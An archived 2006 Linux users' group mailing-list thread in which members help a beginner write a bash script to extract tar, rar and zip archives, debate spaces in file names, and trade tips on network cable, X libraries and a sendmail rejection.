.tar`.dir # we're moving into the newly made > > directory, although i'm not sure why the .tar stuff is still there; > > it's a directory now, right? > > tar xvf ../$i # we execute tar and look for the file $i in the > > parent directory > > cd .. # moving back into the parent dir for the next file > > ;; # denotes end of case > > > > > > I'm experiencing some errors at the cli as well; > > > > line 18: unexpected EOF while looking for matching ``' > > cd `basename $i .zip`.dir # this is the trouble line > > line 25: syntax error: unexpected end of file # there is no line 25 ? > > The code ends at 24. > > > > I have to say a huge thank you to everyone who has contributed. I know > > these are kind of stupid questions, but the shell scripting tutorials > > aren't covering a lot of this. Thank for stepping me through this > > beginner shell script. > > > > -jordan > > > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > tclug-list at mn-linux.org > > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > From ewilts at ewilts.org Tue Mar 14 15:05:14 2006 From: ewilts at ewilts.org (Ed Wilts) Date: Tue, 14 Mar 2006 15:05:14 -0600 Subject: [tclug-list] Extracting multiple tar files In-Reply-To: References: <20060226144603.GA9845@www.ewilts.org> <1142355688.4416f6e8c4275@my.visi.com> Message-ID: <20060314210514.GB27602@www.ewilts.org> On Tue, Mar 14, 2006 at 02:53:20PM -0600, Jordan Peacock wrote: > I've found part of the difficulty; > > Files names are being separated at each space, making a single file > being broken up into unintelligible fragments (example below) Blanks in file names are evil...just pure evil. You can work around the issues by renaming the files first (there are many free utilities that will rename files so that the spaces are replaced by underscores) or you can start throwing extra quotes everywhere. I suggest renaming the files first or you will end up something more sophisticated than just find. .../Ed -- Ed Wilts, RHCE Mounds View, MN, USA mailto:ewilts at ewilts.org Member #1, Red Hat Community Ambassador Program From florin at iucha.net Tue Mar 14 16:03:00 2006 From: florin at iucha.net (Florin Iucha) Date: Tue, 14 Mar 2006 16:03:00 -0600 Subject: [tclug-list] Extracting multiple tar files In-Reply-To: <20060314210514.GB27602@www.ewilts.org> References: <20060226144603.GA9845@www.ewilts.org> <1142355688.4416f6e8c4275@my.visi.com> <20060314210514.GB27602@www.ewilts.org> Message-ID: <20060314220300.GC2432@iucha.net> On Tue, Mar 14, 2006 at 03:05:14PM -0600, Ed Wilts wrote: > On Tue, Mar 14, 2006 at 02:53:20PM -0600, Jordan Peacock wrote: > > I've found part of the difficulty; > > > > Files names are being separated at each space, making a single file > > being broken up into unintelligible fragments (example below) > > Blanks in file names are evil...just pure evil. Why_do_you_say_that?_File_names_are_a_part_of_the_user_interface_and_why_should_I_bend_my_eyes_around_the_capabilities_(or_lack_thereof)_of_the_machine/program?_If_the_script_crashed_because_the_file_name_was_longer_than_14_characters_would_you_say_that_to_be_evil_as_well? florin -- Don't question authority: they don't know either! -------------- next part -------------- A non-text attachment was scrubbed... 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I'll look into that. Notes: I did away with all the .dir ending the mkdir basename; all it seemed to do was make all my folders have a .dir 'extension' (which wasn't necessary). If there is a specific reason for this addition that I'm not seeing, please inform me. Side effects: Underscores where spaces should be in folder names. Not a terribly difficult problem, but if I can work it without having to rename the files first, it'll save a lot of headache. Ed Wilts was commenting that to do that I may need something different from 'find'. Is there no way to work find so that it allows for spaces? -jordan From hewhocutsdown at gmail.com Tue Mar 14 16:10:28 2006 From: hewhocutsdown at gmail.com (Jordan Peacock) Date: Tue, 14 Mar 2006 16:10:28 -0600 Subject: [tclug-list] Extracting multiple tar files In-Reply-To: <20060314220300.GC2432@iucha.net> References: <20060226144603.GA9845@www.ewilts.org> <1142355688.4416f6e8c4275@my.visi.com> <20060314210514.GB27602@www.ewilts.org> <20060314220300.GC2432@iucha.net> Message-ID: They're awkward, especially when the programs don't automatically deal with them. But yes, Florin's right; the spaces _are_ there for a reason (as are the underscores) and I do need to find a workaround, as I can't go blindly replacing either. But it's definately given me a whole new view of filename sensitivity (especially with doing these scripts). Peace -jordan On 3/14/06, Florin Iucha wrote: > On Tue, Mar 14, 2006 at 03:05:14PM -0600, Ed Wilts wrote: > > On Tue, Mar 14, 2006 at 02:53:20PM -0600, Jordan Peacock wrote: > > > I've found part of the difficulty; > > > > > > Files names are being separated at each space, making a single file > > > being broken up into unintelligible fragments (example below) > > > > Blanks in file names are evil...just pure evil. > > Why_do_you_say_that?_File_names_are_a_part_of_the_user_interface_and_why_should_I_bend_my_eyes_around_the_capabilities_(or_lack_thereof)_of_the_machine/program?_If_the_script_crashed_because_the_file_name_was_longer_than_14_characters_would_you_say_that_to_be_evil_as_well? > > florin > > -- > Don't question authority: they don't know either! > > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.2 (GNU/Linux) > > iD8DBQFEFz2UND0rFCN2b1sRAtbtAJ987bD9pL+3CqMWjcWwtTlbpoyKJgCfUZ3b > ntZHfDnjO3/BSARRJHmFJQ8= > =/Goi > -----END PGP SIGNATURE----- > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > From esper at sherohman.org Tue Mar 14 18:06:04 2006 From: esper at sherohman.org (Dave Sherohman) Date: Tue, 14 Mar 2006 18:06:04 -0600 Subject: [tclug-list] Extracting multiple tar files In-Reply-To: <20060314220300.GC2432@iucha.net> References: <20060226144603.GA9845@www.ewilts.org> <1142355688.4416f6e8c4275@my.visi.com> <20060314210514.GB27602@www.ewilts.org> <20060314220300.GC2432@iucha.net> Message-ID: <20060315000604.GA26528@sherohman.org> On Tue, Mar 14, 2006 at 04:03:00PM -0600, Florin Iucha wrote: > On Tue, Mar 14, 2006 at 03:05:14PM -0600, Ed Wilts wrote: > > Blanks in file names are evil...just pure evil. > > Why_do_you_say_that?_File_names_are_a_part_of_the_user_interface_and_why_should_I_bend_my_eyes_around_the_capabilities_(or_lack_thereof)_of_the_machine/program?_If_the_script_crashed_because_the_file_name_was_longer_than_14_characters_would_you_say_that_to_be_evil_as_well? Because the shell (or other command interpreter) needs to be able to reliably distinguish characters which are part of an argument from those which separate arguments. Given the command rm blackmail letter humans can't reliably determine whether the intent is to delete one file named "blackmail letter" or two separate files named "blackmail" and "letter", so how do you expect something as simple-minded as bash to do so? Filenames exceeding a certain length aren't really comparable, as it's trivial to extend the maximum length and solutions are out there for allowing arbitrarily-long strings, limited only by available memory. Reliable determination of "this space is part of a filename, that space separates filenames" is not readily solvable (and I tend to suspect that it's not solvable at all). -- The freedoms that we enjoy presently are the most important victories of the White Hats over the past several millennia, and it is vitally important that we don't give them up now, only because we are frightened. - Eolake Stobblehouse (http://stobblehouse.com/text/battle.html) From josh at joshwelch.com Tue Mar 14 18:14:26 2006 From: josh at joshwelch.com (Josh Welch) Date: Tue, 14 Mar 2006 18:14:26 -0600 Subject: [tclug-list] Centos In-Reply-To: <3C05BBBA1B54ED43B1A6827E620EF1CD0351C7@mailservermn.mqsoftware.com> References: <3C05BBBA1B54ED43B1A6827E620EF1CD0351C7@mailservermn.mqsoftware.com> Message-ID: <20060314181426.p3v7lpkhdnuskgs0@bullwinkle.joshwelch.com> Quoting Wayne Johnson : > Anyone have any experience with Centos? This is a public version of > RedHat's AS4, just without the support. Is it more stable than FC? > > Wayne Johnson > Senior Software Engineer > MQSoftware, Inc. > 1660 S Highway 100 > Minneapolis, MN 55416 > (952) 345-8628 > > I've use Whitebox Linux quite a bit, same idea as Centos. Its been fairly reliable, there is some flakiness involved, but nothing that can't be dealt with. Josh From esper at sherohman.org Tue Mar 14 18:34:27 2006 From: esper at sherohman.org (Dave Sherohman) Date: Tue, 14 Mar 2006 18:34:27 -0600 Subject: [tclug-list] Extracting multiple tar files In-Reply-To: References: <20060226144603.GA9845@www.ewilts.org> <1142355688.4416f6e8c4275@my.visi.com> <20060314210514.GB27602@www.ewilts.org> Message-ID: <20060315003427.GB26528@sherohman.org> On Tue, Mar 14, 2006 at 04:03:44PM -0600, Jordan Peacock wrote: > Not a terribly difficult problem, but if I can work it without having > to rename the files first, it'll save a lot of headache. Ed Wilts was > commenting that to do that I may need something different from 'find'. > Is there no way to work find so that it allows for spaces? It's not actually a find problem, it's a shell issue. i.e., `mkdir filename with spaces` receives three arguments ("filename", "with", and "spaces") instead of just one ("filename with spaces"). The solution, then lies in the shell rather than in find. I did some quick testing to verify my suggestion this time (I was sure the double quotes should have handled this...) and it should work to set IFS (that's the shell's Input File Separator) at the start of your script, then telling find to use the new separator rather than its default newlines. To do this, change the first couple lines of your script to: #!/bin/bash IFS=" " The rest of it shouldn't need any changes. Note that the first double quote must be the last character on the line and the second one must be the first character on the following line. Basically what this does is to tell bash that it should only consider filenames to be separated by newlines, not by spaces (or tabs). By default, find prints a newline after each filename, so It Just Works from there. (Or at least it should...) -- The freedoms that we enjoy presently are the most important victories of the White Hats over the past several millennia, and it is vitally important that we don't give them up now, only because we are frightened. - Eolake Stobblehouse (http://stobblehouse.com/text/battle.html) From esper at sherohman.org Tue Mar 14 18:41:33 2006 From: esper at sherohman.org (Dave Sherohman) Date: Tue, 14 Mar 2006 18:41:33 -0600 Subject: [tclug-list] Extracting multiple tar files In-Reply-To: <20060315003427.GB26528@sherohman.org> References: <20060226144603.GA9845@www.ewilts.org> <1142355688.4416f6e8c4275@my.visi.com> <20060314210514.GB27602@www.ewilts.org> <20060315003427.GB26528@sherohman.org> Message-ID: <20060315004133.GD26528@sherohman.org> On Tue, Mar 14, 2006 at 06:34:27PM -0600, Dave Sherohman wrote: > I did some quick testing to verify my suggestion this time (I was > sure the double quotes should have handled this...) and it should > work to set IFS (that's the shell's Input File Separator) at the > start of your script, then telling find to use the new separator > rather than its default newlines. Whoops! Ignore the part about changing the separator used by find... I wrote that before I figured out how to set IFS to a newline and forgot to edit it out until after I'd sent the message... *blush* -- The freedoms that we enjoy presently are the most important victories of the White Hats over the past several millennia, and it is vitally important that we don't give them up now, only because we are frightened. - Eolake Stobblehouse (http://stobblehouse.com/text/battle.html) From hewhocutsdown at gmail.com Tue Mar 14 21:10:22 2006 From: hewhocutsdown at gmail.com (Jordan Peacock) Date: Tue, 14 Mar 2006 21:10:22 -0600 Subject: [tclug-list] Extracting multiple tar files In-Reply-To: <20060315004133.GD26528@sherohman.org> References: <20060226144603.GA9845@www.ewilts.org> <1142355688.4416f6e8c4275@my.visi.com> <20060314210514.GB27602@www.ewilts.org> <20060315003427.GB26528@sherohman.org> <20060315004133.GD26528@sherohman.org> Message-ID: We have a winner! At first I thought the IFS didn't work; then I realized that I was saving to one test script, and running an older one! (whoops) Works like a charm. Not sure I fully understood the explanation; I'm going to google it in a minute. I also figured out I misread the unzip man file, and that I was looking for the -j modifier (to junk the folder structure of the archive) not -d! Fini. It works. And I've learned a lot; backticks and IFS, putting $i in "", using case in shell scripts, using find at all, and the challenge of spaces in *nix. Thank you for everyone who put in a piece and spoke up. For the record, I'm running Ubuntu (breezy) 64-bit, GNOME desktop, and I've thrown a couple of the scripts (much much smaller ones) in the /home/user/.gnome2/nautilus-scripts directory. It shows up when you right click! Very handy for the combined use of the GUI desktop and custom scripting. Goodnight & God bless -jordan The final script(s) The Viewer: to see what is actually going to be operated on #!/bin/bash IFS=" " for i in `find . -name '*.tar' -o -name '*.rar' -o -name '*.zip'`; do echo "$i" done The Unpacker #!/bin/bash IFS=" " for i in `find . -name '*.tar' -o -name '*.rar' -o -name '*.zip'`; do case "$i" in *.tar) mkdir `basename "$i" .tar` cd `basename "$i" .tar` tar xvf ../"$i" cd .. ;; *.rar) mkdir `basename "$i" .rar` cd `basename "$i" .rar` unrar e ../"$i" cd .. ;; *.zip) mkdir `basename "$i" .zip` cd `basename "$i" .zip` unzip -j ../"$i" cd .. ;; esac done +++++++++++++++++++++++++++++++++++++++ On 3/14/06, Dave Sherohman wrote: > On Tue, Mar 14, 2006 at 06:34:27PM -0600, Dave Sherohman wrote: > > I did some quick testing to verify my suggestion this time (I was > > sure the double quotes should have handled this...) and it should > > work to set IFS (that's the shell's Input File Separator) at the > > start of your script, then telling find to use the new separator > > rather than its default newlines. > > Whoops! Ignore the part about changing the separator used by find... > I wrote that before I figured out how to set IFS to a newline and > forgot to edit it out until after I'd sent the message... *blush* > > -- > The freedoms that we enjoy presently are the most important victories of the > White Hats over the past several millennia, and it is vitally important that > we don't give them up now, only because we are frightened. > - Eolake Stobblehouse (http://stobblehouse.com/text/battle.html) > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > From florin at iucha.net Tue Mar 14 22:03:56 2006 From: florin at iucha.net (Florin Iucha) Date: Tue, 14 Mar 2006 22:03:56 -0600 Subject: [tclug-list] Shell usability Was: Extracting multiple tar files In-Reply-To: <20060315000604.GA26528@sherohman.org> References: <20060226144603.GA9845@www.ewilts.org> <1142355688.4416f6e8c4275@my.visi.com> <20060314210514.GB27602@www.ewilts.org> <20060314220300.GC2432@iucha.net> <20060315000604.GA26528@sherohman.org> Message-ID: <20060315040356.GD2432@iucha.net> On Tue, Mar 14, 2006 at 06:06:04PM -0600, Dave Sherohman wrote: > On Tue, Mar 14, 2006 at 04:03:00PM -0600, Florin Iucha wrote: > > On Tue, Mar 14, 2006 at 03:05:14PM -0600, Ed Wilts wrote: > > > Blanks in file names are evil...just pure evil. > > > > Why_do_you_say_that?_File_names_are_a_part_of_the_user_interface_and_why_should_I_bend_my_eyes_around_the_capabilities_(or_lack_thereof)_of_the_machine/program?_If_the_script_crashed_because_the_file_name_was_longer_than_14_characters_would_you_say_that_to_be_evil_as_well? > > Because the shell (or other command interpreter) needs to be able to > reliably distinguish characters which are part of an argument from > those which separate arguments. Given the command > > rm blackmail letter > > humans can't reliably determine whether the intent is to delete one > file named "blackmail letter" or two separate files named "blackmail" > and "letter", so how do you expect something as simple-minded as bash > to do so? Sure humans can, and bash can too. The meaning is unambiguous. > memory. Reliable determination of "this space is part of a filename, > that space separates filenames" is not readily solvable (and I tend > to suspect that it's not solvable at all). Ok, so the machine cannot guess which of the two conveniences I mean to request at a given moment. It is not an algorithmic problem - (think of touch instead of rm), so I expect a smart interactive shell to prompt me to disambiguate, yet to specifiy one mandatory separator in interpreted mode and be done with it. florin PS: No mouse was used when composing and sending this message ;) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060314/d6a6dc63/attachment.pgp From chewie at wookimus.net Tue Mar 14 23:22:12 2006 From: chewie at wookimus.net (Chad Walstrom) Date: Tue, 14 Mar 2006 23:22:12 -0600 Subject: [tclug-list] WANTED: Cat 5e cable Message-ID: <20060315052212.251C91FCE@skuld.wookimus.net> I need to wire up one of the bedrooms with a few runs of Cat5e and coax cable. They're short runs, and I'm not sure if I want to buy 500' ($50 @ Menards) or 1000' ($70) when I only need approximately 3x25', 3x10', and 3x15' for a grand total of 150'. Anyone have extra or know other suppliers w/a better deal on Cat5e? -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ From tclug at freakzilla.com Tue Mar 14 23:30:16 2006 From: tclug at freakzilla.com (Yaron) Date: Tue, 14 Mar 2006 23:30:16 -0600 (CST) Subject: [tclug-list] WANTED: Cat 5e cable In-Reply-To: <20060315052212.251C91FCE@skuld.wookimus.net> References: <20060315052212.251C91FCE@skuld.wookimus.net> Message-ID: Home Depot will let you get Cat5e by the foot. Also Coax. On Tue, 14 Mar 2006, Chad Walstrom wrote: > I need to wire up one of the bedrooms with a few runs of Cat5e and > coax cable. They're short runs, and I'm not sure if I want to buy > 500' ($50 @ Menards) or 1000' ($70) when I only need approximately > 3x25', 3x10', and 3x15' for a grand total of 150'. > > Anyone have extra or know other suppliers w/a better deal on Cat5e? > -- > Chad Walstrom http://www.wookimus.net/ > assert(expired(knowledge)); /* core dump */ > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > -Yaron -- From cncole at earthlink.net Tue Mar 14 23:33:31 2006 From: cncole at earthlink.net (Chuck Cole) Date: Tue, 14 Mar 2006 23:33:31 -0600 Subject: [tclug-list] WANTED: Cat 5e cable In-Reply-To: <20060315052212.251C91FCE@skuld.wookimus.net> Message-ID: Menard's usually has a 100ft length for $9.95 Chuck > -----Original Message----- > From: tclug-list-bounces at mn-linux.org > [mailto:tclug-list-bounces at mn-linux.org]On Behalf Of Chad Walstrom > Sent: Tuesday, March 14, 2006 11:22 PM > To: tclug-list at mn-linux.org > Subject: [tclug-list] WANTED: Cat 5e cable > > > I need to wire up one of the bedrooms with a few runs of Cat5e and > coax cable. They're short runs, and I'm not sure if I want to buy > 500' ($50 @ Menards) or 1000' ($70) when I only need approximately > 3x25', 3x10', and 3x15' for a grand total of 150'. > > Anyone have extra or know other suppliers w/a better deal on Cat5e? > -- > Chad Walstrom http://www.wookimus.net/ > assert(expired(knowledge)); /* core dump */ > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list From mbmiller at taxa.epi.umn.edu Wed Mar 15 00:35:01 2006 From: mbmiller at taxa.epi.umn.edu (Mike Miller) Date: Wed, 15 Mar 2006 00:35:01 -0600 (CST) Subject: [tclug-list] Shell usability Was: Extracting multiple tar files In-Reply-To: <20060315040356.GD2432@iucha.net> References: <20060226144603.GA9845@www.ewilts.org> <1142355688.4416f6e8c4275@my.visi.com> <20060314210514.GB27602@www.ewilts.org> <20060314220300.GC2432@iucha.net> <20060315000604.GA26528@sherohman.org> <20060315040356.GD2432@iucha.net> Message-ID: On Tue, 14 Mar 2006, Florin Iucha wrote: > On Tue, Mar 14, 2006 at 06:06:04PM -0600, Dave Sherohman wrote: >> On Tue, Mar 14, 2006 at 04:03:00PM -0600, Florin Iucha wrote: >>> On Tue, Mar 14, 2006 at 03:05:14PM -0600, Ed Wilts wrote: >>>> Blanks in file names are evil...just pure evil. >>> >>> Why_do_you_say_that?_File_names_are_a_part_of_the_user_interface_and_why_should_I_bend_my_eyes_around_the_capabilities_(or_lack_thereof)_of_the_machine/program?_If_the_script_crashed_because_the_file_name_was_longer_than_14_characters_would_you_say_that_to_be_evil_as_well? >> >> Because the shell (or other command interpreter) needs to be able to >> reliably distinguish characters which are part of an argument from >> those which separate arguments. Given the command >> >> rm blackmail letter >> >> humans can't reliably determine whether the intent is to delete one >> file named "blackmail letter" or two separate files named "blackmail" >> and "letter", so how do you expect something as simple-minded as bash >> to do so? > > Sure humans can, and bash can too. The meaning is unambiguous. > >> memory. Reliable determination of "this space is part of a filename, >> that space separates filenames" is not readily solvable (and I tend >> to suspect that it's not solvable at all). > > Ok, so the machine cannot guess which of the two conveniences I mean to > request at a given moment. It is not an algorithmic problem - (think of > touch instead of rm), so I expect a smart interactive shell to prompt me > to disambiguate, yet to specifiy one mandatory separator in interpreted > mode and be done with it. I'm not sure I understand everything here (e.g., the reference to a difference between how 'touch' and 'rm' handle spaces), but I think the way to think about it is in terms of what our rules are for handling spaces in command lines. The rule is that the space character is a separator. So a command like this... rm blackmail letter ...will attempt to delete two files in every shell I know of. To delete a single file named "blackmail letter", we have to either escape the space or use quotes: rm blackmail\ letter rm "blackmail letter" rm 'blackmail letter' All three of those commands do the same thing in both bash and tcsh, and probably in quite a few other shells. I would not call this "disambiguating" the command because there is nothing ambiguous about this... rm blackmail letter ...because it means "delete two files - one filename is 'blackmail' and the other filename is 'letter'". Are spaces in filenames evil? Well, they are annoying in many situations but I would not call them evil. No one has mentioned xargs. I think it is also worth looking at. Note this argument in "man xargs": --null, -0 Input filenames are terminated by a null character instead of by whitespace, and the quotes and backslash are not special (every character is taken literally). Disables the end of file string, which is treated like any other argument. Useful when arguments might contain white space, quote marks, or backslashes. The GNU find -print0 option produces input suitable for this mode. Then note these options in find: -fprint0 file True; like -print0 but write to file like -fprint. -print0 True; print the full file name on the standard output, followed by a null character. This allows file names that contain new- lines to be correctly interpreted by programs that process the find output. This is part of the GNU/Linux way of coping with filenames that contain spaces or even newlines. Yes, a filename can contain a newline. I just made one and the behavior with ls can be a little weird, but here it is in tcsh: > touch 'bob\^Jjoe' > ls bob joe > ls -lAF total 0 -rw-r----- 1 mbmiller users 0 Mar 15 00:28 bob?joe In bash it is more predictable. It is also easier in bash to use rm to get rid of the file. Another weirdness is that the ^J character is produced using ctrl-M in tcsh but using ctrl-J in bash. In both shells you have to hit ctrl-V before the other control character so that it is processed properly. This gives me yet another reason to switch from tcsh to bash! Mike From esper at sherohman.org Wed Mar 15 01:25:55 2006 From: esper at sherohman.org (Dave Sherohman) Date: Wed, 15 Mar 2006 01:25:55 -0600 Subject: [tclug-list] Shell usability Was: Extracting multiple tar files In-Reply-To: <20060315040356.GD2432@iucha.net> References: <1142355688.4416f6e8c4275@my.visi.com> <20060314210514.GB27602@www.ewilts.org> <20060314220300.GC2432@iucha.net> <20060315000604.GA26528@sherohman.org> <20060315040356.GD2432@iucha.net> Message-ID: <20060315072555.GE26528@sherohman.org> On Tue, Mar 14, 2006 at 10:03:56PM -0600, Florin Iucha wrote: > On Tue, Mar 14, 2006 at 06:06:04PM -0600, Dave Sherohman wrote: > > On Tue, Mar 14, 2006 at 04:03:00PM -0600, Florin Iucha wrote: > > > Why_do_you_say_that?_File_names_are_a_part_of_the_user_interface_and_why_should_I_bend_my_eyes_around_the_capabilities_(or_lack_thereof)_of_the_machine/program?_If_the_script_crashed_because_the_file_name_was_longer_than_14_characters_would_you_say_that_to_be_evil_as_well? > > > > Because the shell (or other command interpreter) needs to be able to > > reliably distinguish characters which are part of an argument from > > those which separate arguments. Given the command > > > > rm blackmail letter > > > > humans can't reliably determine whether the intent is to delete one > > file named "blackmail letter" or two separate files named "blackmail" > > and "letter", so how do you expect something as simple-minded as bash > > to do so? > > Sure humans can, and bash can too. The meaning is unambiguous. Sorry, I was sloppy in both my thinking and my phrasing... In the real world, yes, it's unambiguous. I was intending to refer to some hypothetical world in which spaces can be used both as a separator and as an element in file names without requiring any of the various workarounds (quoting, escape sequences, xargs...) that have to be used to deal with filenames that contain spaces in the real world. > PS: No mouse was used when composing and sending this message ;) Likewise. :) -- The freedoms that we enjoy presently are the most important victories of the White Hats over the past several millennia, and it is vitally important that we don't give them up now, only because we are frightened. - Eolake Stobblehouse (http://stobblehouse.com/text/battle.html) From florin at iucha.net Wed Mar 15 07:13:04 2006 From: florin at iucha.net (Florin Iucha) Date: Wed, 15 Mar 2006 07:13:04 -0600 Subject: [tclug-list] Shell usability Was: Extracting multiple tar files In-Reply-To: References: <1142355688.4416f6e8c4275@my.visi.com> <20060314210514.GB27602@www.ewilts.org> <20060314220300.GC2432@iucha.net> <20060315000604.GA26528@sherohman.org> <20060315040356.GD2432@iucha.net> Message-ID: <20060315131304.GE2432@iucha.net> On Wed, Mar 15, 2006 at 12:35:01AM -0600, Mike Miller wrote: > On Tue, 14 Mar 2006, Florin Iucha wrote: > >>rm blackmail letter > >> > >>humans can't reliably determine whether the intent is to delete one > >>file named "blackmail letter" or two separate files named "blackmail" > >>and "letter", so how do you expect something as simple-minded as bash > >>to do so? > > > >Sure humans can, and bash can too. The meaning is unambiguous. > > I'm not sure I understand everything here (e.g., the reference to a > difference between how 'touch' and 'rm' handle spaces), but I think the > way to think about it is in terms of what our rules are for handling > spaces in command lines. The rule is that the space character is a > separator. So a command like this... > > rm blackmail letter > > ...will attempt to delete two files in every shell I know of. To delete a > single file named "blackmail letter", we have to either escape the space > or use quotes: > > rm blackmail\ letter > rm "blackmail letter" > rm 'blackmail letter' > > All three of those commands do the same thing in both bash and tcsh, and > probably in quite a few other shells. I would not call this > "disambiguating" the command because there is nothing ambiguous about > this... > > rm blackmail letter > > ...because it means "delete two files - one filename is 'blackmail' and > the other filename is 'letter'". Exactly, that's what I say it is unambiguous. We agree. The ambiguity is not in the shell syntax, but in our desire to have our cake and eat it too: use space as a separator _between shell arguments_ (because they look like words in a sentence) and between _words in file names_ (possibly for the same reason). > >>memory. Reliable determination of "this space is part of a filename, > >>that space separates filenames" is not readily solvable (and I tend > >>to suspect that it's not solvable at all). > > > >Ok, so the machine cannot guess which of the two conveniences I mean to > >request at a given moment. It is not an algorithmic problem - (think of > >touch instead of rm), so I expect a smart interactive shell to prompt me > >to disambiguate, yet to specifiy one mandatory separator in interpreted > >mode and be done with it. My mention to rm vs. touch was that in the rm case, presumably the file(s) exist and if the shell can partially disambiguate based on that information (if "blackmail" and "letter" exist, the user wanted them destroyed, if "blacmail letter" exists, the user wanted it destroyed, otherwise ask). But that is even less likely with mkdir or touch, since none of those files supposedly exists before, to aid in disambiguation. It is all a matter of convenience. florin -- Don't question authority: they don't know either! -------------- next part -------------- A non-text attachment was scrubbed... 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URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060315/81f91f12/attachment.htm From chewie at wookimus.net Wed Mar 15 11:45:01 2006 From: chewie at wookimus.net (Chad Walstrom) Date: Wed, 15 Mar 2006 11:45:01 -0600 Subject: [tclug-list] WANTED: Cat 5e cable In-Reply-To: References: <20060315052212.251C91FCE@skuld.wookimus.net> Message-ID: <20060315174501.5FBEA1CDA@skuld.wookimus.net> Yaron wrote: > Home Depot will let you get Cat5e by the foot. Also Coax. Cool. I'll keep that in mind. Thanks, everyone, for your quick responses. A couple people have offered me wire for free, which I'll certainly take and offer up the remainder for whomever wants/needs it. Give me a couple weeks to get things wired in, though. ;-) -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ From dniesen at gmail.com Wed Mar 15 11:54:23 2006 From: dniesen at gmail.com (Donovan Niesen) Date: Wed, 15 Mar 2006 11:54:23 -0600 Subject: [tclug-list] WANTED: Cat 5e cable In-Reply-To: <32fd45370603150821j5dc4942dgba086d7dd703f76b@mail.gmail.com> References: <20060315052212.251C91FCE@skuld.wookimus.net> <32fd45370603150821j5dc4942dgba086d7dd703f76b@mail.gmail.com> Message-ID: <47f4d5e70603150954v711b9606t63df28e9d47b9fd6@mail.gmail.com> On 3/15/06, Keith Bachman wrote: > As stated previously, Menards and Home Depot have spools (various lengths, > usually I see 250' 500' and 1000') for cheap...Home Depot was I think $70 > for a 1000' spool of Plenum Cat5e. Been a year or three since I've looked > at Menard's prices. It's in the electrical/wiring section, usually. > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > I believe the 1000' spools you're speaking of are actually riser cable. Plenum cable is much more expensive, usually in the neighborhood of $170-$190 for 1000'. If I missed some special clue me in and I'll go stock up though. -- Donovan Niesen From tclug at freakzilla.com Wed Mar 15 12:07:25 2006 From: tclug at freakzilla.com (Yaron) Date: Wed, 15 Mar 2006 12:07:25 -0600 (CST) Subject: [tclug-list] 'Missing' X libraries Message-ID: Hey guys, Any of you running on debian-sid/amd64? A few days ago some of my programs decided they can't find certain libraries anymore. Like when I try to run wmnetload, it won't find libX11.so.6. Now, libX11.so.6 is in /usr/X11r6/lib which in turn is in /etc/ld.so.conf... Some of these programs I can recompile, but some (like vmware) I can't. They all seem to be X libraries of some sort. Any ideas? -Yaron -- From admin at lctn.org Wed Mar 15 12:09:19 2006 From: admin at lctn.org (Raymond Norton) Date: Wed, 15 Mar 2006 12:09:19 -0600 (CST) Subject: [tclug-list] Frontier dot net rejecting mail Message-ID: <37911.64.8.149.194.1142446159.squirrel@lctn.org> We are getting 554 messages back from Frontier (invalid helo). This is only affecting one mail server using sendmail-8.13.1-2. I have googled around a bit on this, but am not finding an answer that pertains to our server. Any ideas what to look for? -- Raymond Norton LCTN From chewie at wookimus.net Wed Mar 15 12:07:32 2006 From: chewie at wookimus.net (Chad Walstrom) Date: Wed, 15 Mar 2006 12:07:32 -0600 Subject: [tclug-list] WANTED: Cat 5e cable In-Reply-To: <47f4d5e70603150954v711b9606t63df28e9d47b9fd6@mail.gmail.com> References: <20060315052212.251C91FCE@skuld.wookimus.net> <32fd45370603150821j5dc4942dgba086d7dd703f76b@mail.gmail.com> <47f4d5e70603150954v711b9606t63df28e9d47b9fd6@mail.gmail.com> Message-ID: <20060315180732.2CB281CDA@skuld.wookimus.net> > I believe the 1000' spools you're speaking of are actually riser > cable. Plenum cable is much more expensive, usually in the > neighborhood of $170-$190 for 1000'. If I missed some special clue > me in and I'll go stock up though. I could be mistaken, but IIRC you only need plenum if the cable is going to be in an open space, such as in a cable tray above acoustic tiles. If the cable is going to be in the space between sheet-rocked or plaster walls or in conduit, you don't need plenum. That being said, since Ben put conduit in the rest of the house, I suppose I should do it The Right Way (TM) and continue the trend. ;-) There's some left-over conduit from his project, and pipe-benders and cutters aren't too expensive. -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ From SDALAN04 at smumn.edu Wed Mar 15 12:30:00 2006 From: SDALAN04 at smumn.edu (Dave Alanis) Date: Wed, 15 Mar 2006 12:30:00 -0600 Subject: [tclug-list] Frontier dot net rejecting mail Message-ID: <20060315183000223603be38@mail.smumn.edu> Hello Raymond, Can you please be alot more specific, maybe provide IP addresses/ e-mail addresses. Are all the e-mails rejected coming from the lctn domain? Have you had your users try to directly contact these people and ask them if Frontier uses an accept-only list? Please, provide more information? David On Wednesday, March 15, 2006 12:09 PM, Raymond Norton wrote: > >Date: Wed, 15 Mar 2006 12:09:19 -0600 (CST) >From: Raymond Norton >To: tclug-list at mn-linux.org >Subject: [tclug-list] Frontier dot net rejecting mail > >We are getting 554 messages back from Frontier (invalid helo). This is >only affecting one mail server using sendmail-8.13.1-2. I have googled >around a bit on this, but am not finding an answer that pertains to our 